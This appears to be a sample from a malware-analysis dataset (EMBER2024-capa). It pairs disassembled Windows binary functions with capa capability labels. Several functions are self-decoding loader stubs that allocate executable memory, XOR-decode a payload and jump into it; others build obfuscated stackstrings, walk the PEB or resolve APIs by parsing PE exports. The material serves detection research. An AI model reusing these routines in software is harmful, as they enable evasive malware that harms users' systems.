joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100080c7
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100080c7
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100080c7
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100080c7
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100080c7
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100080c7
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100080c7
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100080c7
push 0xd008
push edi
call fcn.100080c7
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100080c7
int3

Function at 0x100080c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100080d6
pop dword [ebp - 0x18]
mov eax, 0x100080d6
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3b826
push 0
mov eax, 0x78c302c1
sub eax, 0x68c1c25d
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x5207
xor edi, edi
add edi, eax
mov ebx, 0x856a4741
add ebx, 0x8a973ebf
add ebx, dword [ebp - 0x18]
mov esi, 0x89224fb4
sub esi, 0xea6d6289
sub dword [ebp - 0xc], edx
mov edx, dword [ebx]
sub dword [ebp - 4], 0x37fb8331
xor edx, esi
mov dword [ebp - 0xc], 0x518032de
mov dword [edi], edx
mov dword [ebp - 0x10], 0x42e97b7d
add edi, 0x3248e302
add edi, 0xcdb71d02
add ebx, 0x22eae375
add ebx, 0xdd151c8f
loop 0x1000812c
add eax, 0x5dd1a93c
sub eax, 0x5dd06e4d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2b8957f5
add ecx, 0xe476a80b
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10016ec0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
cmp dword [ebp + 8], 0
je 0x1001700c
cmp dword [ebp + 0xc], 0x10
jle 0x1001700c
mov byte [ebp - 0x14], 0x52
mov byte [ebp - 0x13], 0x49
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 0x43
mov byte [ebp - 0xb], 0x44
mov byte [ebp - 0xa], 0x52
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x6e
mov byte [ebp - 0x24], 0x52
mov byte [ebp - 0x23], 0x49
mov byte [ebp - 0x22], 0x46
mov byte [ebp - 0x21], 0x46
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0
mov byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x44
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x18], 0x76
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x6e
push 0x10
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x34]
push edx
call sub.MSVCR120.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x38], 0
jmp 0x10016f94
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x10
jae 0x10016fc3
mov ecx, dword [ebp - 0x38]
movzx edx, byte [ebp + ecx - 0x14]
test edx, edx
jne 0x10016fc1
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x10
jae 0x10016fb4
jmp 0x10016fb9
call fcn.10048be3
mov ecx, dword [ebp - 0x3c]
mov byte [ebp + ecx - 0x34], 0
jmp 0x10016f8b
push 0x10
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x14]
push eax
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
je 0x10016fef
push 0x10
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x1001700c
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax]
add edx, 8
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov eax, 1
jmp 0x1001700e
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001d1a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp + 8], 0
je 0x1001d21d
cmp dword [ebp + 0xc], 0x10
jle 0x1001d21d
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], 0x49
mov byte [ebp - 0x12], 0x1a
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0x48
mov byte [ebp - 0xd], 0x45
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x50
mov byte [ebp - 0xa], 0x43
mov byte [ebp - 9], 0x43
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x52
push 0xe
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x1001d21d
mov edx, dword [ebp + 0x10]
mov dword [edx], 0
mov eax, 1
jmp 0x1001d21f
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10022aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
cmp dword [ebp + 8], 0
je 0x10022b34
cmp dword [ebp + 0xc], 6
jle 0x10022b34
mov byte [ebp - 0xc], 0x47
mov byte [ebp - 0xb], 0x49
mov byte [ebp - 0xa], 0x46
mov byte [ebp - 9], 0x38
mov byte [ebp - 8], 0x37
mov byte [ebp - 7], 0x61
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x49
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x38
mov byte [ebp - 0x10], 0x39
mov byte [ebp - 0xf], 0x61
push 6
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
je 0x10022b24
push 6
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10022b34
mov edx, dword [ebp + 0x10]
mov dword [edx], 0
mov eax, 1
jmp 0x10022b36
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10026960
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp + 8], 0
je 0x10026a16
cmp dword [ebp + 0xc], 8
jl 0x10026a16
mov byte [ebp - 0x14], 0xff
mov byte [ebp - 0x13], 0xd8
mov byte [ebp - 0x12], 0xff
mov byte [ebp - 0x18], 0x4a
mov byte [ebp - 0x17], 0x46
mov byte [ebp - 0x16], 0x49
mov byte [ebp - 0x15], 0x46
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x68
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x70
push 3
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10026a16
push 4
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp + 8]
add eax, 6
push eax
call fcn.10002108
add esp, 0xc
test eax, eax
je 0x10026a0f
push 9
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
add edx, 6
push edx
call fcn.10002108
add esp, 0xc
test eax, eax
jne 0x10026a16
mov eax, 1
jmp 0x10026a18
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1002db00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c06b
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x64], ecx
cmp dword [ebp + 0x14], 0
je 0x1002dcd8
cmp dword [ebp + 0x18], 0x50
jle 0x1002dcd8
mov dword [ebp - 0x4c], 0x4d49504f
mov dword [ebp - 0x48], 0x30
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ecx]
jne 0x1002db68
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [eax + 4]
je 0x1002db6f
xor eax, eax
jmp 0x1002dcda
mov edx, dword [ebp + 0x1c]
mov dword [edx], 0
push 0x8038
call sub.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x30], 0
je 0x1002dbbd
push 0
push 0x200
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
add ecx, dword [ebp + 0xc]
mov edx, dword [eax + 4]
adc edx, dword [ebp + 0x10]
push edx
push ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x30]
call fcn.10001cc1
mov dword [ebp - 0x34], eax
jmp 0x1002dbc4
mov dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x20], 0x34
mov dword [ebp - 0x60], 0x4c4e544f
mov dword [ebp - 0x68], 0x4d49424f
mov dword [ebp - 0x50], 0x4b534d4f
mov dword [ebp - 0x5c], 0x5056454f
mov dword [ebp - 0x54], 0x52594c4f
mov dword [ebp - 0x58], 0x5645424f
mov dword [ebp - 0x2c], 0
jmp 0x1002dc1a
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xc8
jge 0x1002dc9d
mov eax, dword [ebp - 0x20]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x28]
call fcn.100011f4
push 0xc
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x28]
call fcn.10001839
cmp dword [ebp - 0x18], 0x4c4e544f
je 0x1002dc77
cmp dword [ebp - 0x18], 0x4d49424f
je 0x1002dc77
cmp dword [ebp - 0x18], 0x4b534d4f
je 0x1002dc77
cmp dword [ebp - 0x18], 0x5056454f
je 0x1002dc77
cmp dword [ebp - 0x18], 0x52594c4f
je 0x1002dc77
cmp dword [ebp - 0x18], 0x5645424f
je 0x1002dc77
jmp 0x1002dc9d
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
lea ecx, [eax + edx + 8]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x18], 0x5645424f
jne 0x1002dc98
mov edx, dword [ebp - 0x20]
add edx, 4
mov dword [ebp - 0x20], edx
jmp 0x1002dc9d
jmp 0x1002dc11
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x1002dcca
push 1
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x24]
mov eax, dword [edx]
call eax
mov dword [ebp - 0x3c], eax
jmp 0x1002dcd1
mov dword [ebp - 0x3c], 0
mov eax, 1
jmp 0x1002dcda
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10034a00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
cmp dword [ebp + 8], 0
je 0x10034ad2
cmp dword [ebp + 0xc], 0x20
jle 0x10034ad2
mov byte [ebp - 0x24], 0x50
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x20
mov byte [ebp - 0x1e], 0x53
mov byte [ebp - 0x1d], 0x68
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0x20
mov byte [ebp - 0x19], 0x50
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 0x49
mov byte [ebp - 0x14], 0x6d
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x67
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x20
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0xa
mov byte [ebp - 0xa], 0x1a
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 0
mov byte [ebp - 6], 0
push 0x1f
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10034ad2
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov eax, 1
jmp 0x10034ad4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10035c60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
cmp dword [ebp + 8], 0
je 0x10035ce5
cmp dword [ebp + 0xc], 0x10
jle 0x10035ce5
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x49
mov byte [ebp - 0x10], 0x58
mov byte [ebp - 0xf], 0x50
mov byte [ebp - 0xe], 0x52
mov byte [ebp - 0xd], 0x33
mov byte [ebp - 0xc], 0x44
mov byte [ebp - 0xb], 0x20
mov byte [ebp - 0xa], 0x44
mov byte [ebp - 9], 0x20
mov byte [ebp - 8], 0x58
mov byte [ebp - 7], 0x54
mov byte [ebp - 6], 0
mov byte [ebp - 5], 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10035ce5
mov eax, 1
jmp 0x10035ce7
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100367a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
cmp dword [ebp + 8], 0
je 0x10036825
cmp dword [ebp + 0xc], 0x10
jle 0x10036825
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x49
mov byte [ebp - 0x10], 0x58
mov byte [ebp - 0xf], 0x50
mov byte [ebp - 0xe], 0x52
mov byte [ebp - 0xd], 0x33
mov byte [ebp - 0xc], 0x44
mov byte [ebp - 0xb], 0x20
mov byte [ebp - 0xa], 0x44
mov byte [ebp - 9], 0x20
mov byte [ebp - 8], 0x58
mov byte [ebp - 7], 0x50
mov byte [ebp - 6], 0
mov byte [ebp - 5], 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10036825
mov eax, 1
jmp 0x10036827
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1003d050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1005e470]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov byte [ebp - 0x10], 0x40
mov byte [ebp - 0xf], 0x40
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0x40
mov byte [ebp - 0xc], 0xb1
mov byte [ebp - 0xb], 0x40
mov byte [ebp - 0xa], 0xdf
mov byte [ebp - 9], 0x40
mov byte [ebp - 8], 1
mov byte [ebp - 7], 0x40
mov byte [ebp - 0x1c], 0x40
mov byte [ebp - 0x1b], 0x40
mov byte [ebp - 0x1a], 0xe1
mov byte [ebp - 0x19], 0x40
mov byte [ebp - 0x18], 0xb1
mov byte [ebp - 0x17], 0x40
mov byte [ebp - 0x16], 0xdf
mov byte [ebp - 0x15], 0x40
mov byte [ebp - 0x14], 1
mov byte [ebp - 0x13], 0x40
mov dword [ebp - 0x20], 0
jmp 0x1003d0ce
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp + 0xc]
jge 0x1003d127
mov eax, dword [ebp - 0x20]
add eax, 0xa
cmp eax, dword [ebp + 0xc]
jge 0x1003d125
push 0xa
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x20]
push edx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
je 0x1003d113
push 0xa
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x20]
push ecx
call sub.MSVCR120.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x1003d125
mov edx, dword [ebp - 0x20]
add edx, 0xa
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov eax, 1
jmp 0x1003d129
jmp 0x1003d0c5
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100489e6
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4239f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x423a05
pop dword [ebp - 0x24]
mov eax, 0x9be9a13c
add eax, 0x645898c9
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x396a5
push 0
mov eax, 0x8a04a760
sub eax, 0x89c12730
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x42f9
mov edi, eax
mov esi, 0xa2310586
add esi, 0x5e13c07a
add esi, dword [ebp - 0x24]
mov ebx, 0x9671e87f
xor dword [ebp - 0x20], ebx
mov edx, dword [esi]
add dword [ebp - 0xc], ecx
sub edx, ebx
add dword [ebp - 0x10], 0xa4f8067d
mov dword [edi], edx
sub dword [ebp - 8], 0x92f09f3a
add edi, 0xa731184e
add edi, 0x58cee7b6
add esi, 4
loop 0x423a58
add eax, 0x95ec4214
sub eax, 0x95eb435d
xor ebx, ebx
add ebx, eax
add eax, 0x5b924e40
add eax, 0xa46db1c5
mov ecx, 0x7588654c
sub ecx, 0x7548654c
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x4281f2
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
mov eax, 0x436de3
call fcn.004339e0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x43a908
mov dword [esi + 4], 0x43a8f4
mov dword [esi + 8], 0x438e70
mov dword [esi + 0xc], 0x43a8d8
mov dword [esi + 0x10], 0x43a8c4
mov dword [esi + 0x14], 0x43a8b4
mov dword [esi + 0x18], 0x438e60
mov dword [esi + 0x1c], 0x438e50
mov dword [esi + 0x20], 0x43a8ac
mov dword [esi + 0x24], ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
or dword [esi + 0x38], 0xffffffff
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x50], ebx
mov dword [esi + 0x54], ebx
mov dword [esi + 0x58], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ebx
lea ecx, [esi + 0x64]
mov byte [ebp - 4], 4
call fcn.004028e9
lea ecx, [esi + 0x70]
mov byte [ebp - 4], 5
call fcn.004028e9
mov dword [esi + 0x7c], ebx
mov dword [esi + 0x80], ebx
mov dword [esi + 0x84], ebx
mov dword [esi + 0x88], ebx
mov dword [esi + 0x8c], ebx
or dword [esi + 0x9c], 0xffffffff
mov byte [ebp - 4], 7
mov dword [esi + 0x90], ebx
mov dword [esi + 0x94], ebx
mov dword [esi + 0x98], ebx
mov dword [esi + 0xa0], ebx
mov byte [esi + 0xa4], bl
mov byte [esi + 0xa5], bl
mov byte [esi + 0xa6], bl
mov byte [esi + 0xa7], bl
mov byte [esi + 0xa8], bl
mov byte [esi + 0xa9], bl
mov byte [esi + 0xaa], bl
mov dword [esi + 0xac], ebx
mov dword [esi], 0x43a880
mov dword [esi + 4], 0x43a86c
mov dword [esi + 8], 0x43a854
mov dword [esi + 0xc], 0x43a838
mov dword [esi + 0x10], 0x43a824
mov dword [esi + 0x14], 0x43a814
mov dword [esi + 0x18], 0x43a804
mov dword [esi + 0x1c], 0x43a7f4
mov dword [esi + 0x20], 0x43a7ec
call fcn.0040d4f9
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x28], al
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x100294f
Capabilities:
Delete registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push dword [0x1004024]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100298d
push dword [0x1004028]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x100ab1a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
add esi, dword [edx + 0x20]
pop ecx
lodsd eax, dword [esi]
jmp 0x100ac3d
mov edx, ebx
mov esi, ebx
mov eax, ebx
add eax, dword [ebx + 0x3c]
add edx, dword [eax + 0x78]
jmp 0x100ab0e
push 0
pop eax
imul eax, eax, 0xf
push eax
movzx eax, byte [edi]
jmp 0x100ab79
lea edi, [edi + 1]
sub dword [esp], eax
cmp byte [edi], 1
pop eax
jmp 0x100ad0f
add edi, dword [edx + 0x1c]
lea esi, [esi + ecx*2]
push ebx
movzx eax, word [esi]
jmp 0x100ac21
pop esi
add esi, dword [edi + eax*4]
ret 4
inc ecx
cmp ecx, dword [edx + 0x18]
lea edi, [eax + ebx]
je 0x100ad3b
jmp 0x100ab48
ja 0x100ab4b
xor eax, 0x7a5a5b13
sbb eax, dword [esp + 4]
jne 0x100ab14
jmp 0x100ad29
lea edi, [ebx]
lea esi, [ebx]
add esi, dword [edx + 0x24]
jmp 0x100abd8
ret
Function at 0x403015
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403024
pop dword [ebp - 0x4c]
mov eax, 0xadf8957b
add eax, 0x52479aa9
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x64b0ec57
add dword [ebp - 0x5c], 0xe9a158f4
mov dword [ebp - 0x58], 0x218fb7f2
add dword [ebp - 0x58], 0x10a39453
mov dword [ebp - 0x54], 0x756d529
add dword [ebp - 0x54], 0x44f56f05
mov dword [ebp - 0x50], 0x2ff8fc14
sub dword [ebp - 0x50], 0x2ff8fc14
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x1fb5b6e0
add dword [ebp - 0x5c], 0x54bcb276
mov dword [ebp - 0x58], 0x1d155cb0
sub dword [ebp - 0x58], 0xdba8fb3b
mov dword [ebp - 0x54], 0xedc959ac
sub dword [ebp - 0x54], 0x8a59ed40
mov dword [ebp - 0x50], 0xbd659d0c
sub dword [ebp - 0x50], 0xbd659d0c
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x37a18
push 0
call eax
mov ecx, 0x4a5f
xor edi, edi
add edi, eax
mov ebx, 0x39fb92f2
add ebx, 0xc649810e
add ebx, dword [ebp - 0x4c]
mov esi, 0x9896245a
sub esi, 0x1eb31653
xor dword [ebp - 0x40], esi
mov edx, dword [ebx]
sub dword [ebp - 0x28], 0x7d20223f
xor edx, esi
xor dword [ebp - 0x44], eax
mov dword [edi], edx
add dword [ebp - 0x1c], edx
add edi, 0x666ceae
add edi, 0xf9993156
add ebx, 4
loop 0x403138
add eax, 0x11c4f
xor ebx, ebx
add ebx, eax
add eax, 0x68cad065
add eax, 0x97352fa0
mov ecx, 0x4369c758
sub ecx, 0x4329c758
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret